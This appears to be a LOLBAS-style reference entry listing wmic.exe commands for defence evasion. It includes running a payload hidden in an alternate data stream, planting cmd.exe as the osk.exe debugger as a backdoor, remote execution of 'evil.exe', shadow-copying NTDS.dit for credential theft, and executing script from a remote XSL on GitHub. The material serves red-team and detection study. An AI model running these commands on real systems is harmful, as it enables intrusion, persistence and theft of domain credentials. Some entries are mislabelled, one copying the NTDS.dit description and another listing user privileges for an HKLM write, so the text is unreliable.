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The WMI command-line (WMIC) utility provides a command-line interface for WMI


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Resources:
https://stackoverflow.com/questions/24658745/wmic-how-to-use-process-call-create-with-a-specific-working-directory
https://subt0x11.blogspot.no/2018/04/wmicexe-whitelisting-bypass-hacking.html
https://twitter.com/subTee/status/986234811944648707

Acknowledgement:
Casey Smith - @subtee


Detection:
Wmic getting scripts from remote system



Alternate data streams

Execute a .EXE file stored as an Alternate Data Stream (ADS) 
wmic.exe process call create "c:\ads\file.txt:program.exe"
Usecase:Execute binary file hidden in Alternate data streams to evade defensive counter measures
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1096



Execute

Execute calc from wmic 
wmic.exe process call create calc
Usecase:Execute binary from wmic to evade defensive counter measures
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Add cmd.exe as a debugger for the osk.exe process. Each time osk.exe is run, cmd.exe will be run as well. 
wmic.exe process call create "C:\Windows\system32\reg.exe add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe\" /v \"Debugger\" /t REG_SZ /d \"cmd.exe\" /f"
Usecase:Execute binary by manipulate the debugger for a program to evade defensive counter measures
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Execute evil.exe on the remote system. 
wmic.exe /node:"192.168.0.1" process call create "evil.exe"
Usecase:Execute binary on a remote system
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Create a scheduled execution of C:\GoogleUpdate.exe to run at 9pm. 
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "at 9:00PM c:\GoogleUpdate.exe ^> c:\notGoogleUpdateResults.txt"
Usecase:Execute binary with scheduled task created with wmic on a remote computer
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Create a volume shadow copy of NTDS.dit that can be copied. 
wmic.exe /node:REMOTECOMPUTERNAME PROCESS call create "cmd /c vssadmin create shadow /for=C:\Windows\NTDS\NTDS.dit > c:\not_the_NTDS.dit"
Usecase:Execute binary on remote system
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Create a volume shadow copy of NTDS.dit that can be copied. 
wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"
Usecase:Execute binary on remote system
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218



Executes JScript or VBScript embedded in the target remote XSL stylsheet. 
wmic.exe process get brief /format:"\\127.0.0.1\c$\Tools\pocremote.xsl"
Usecase:Execute script from remote system
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218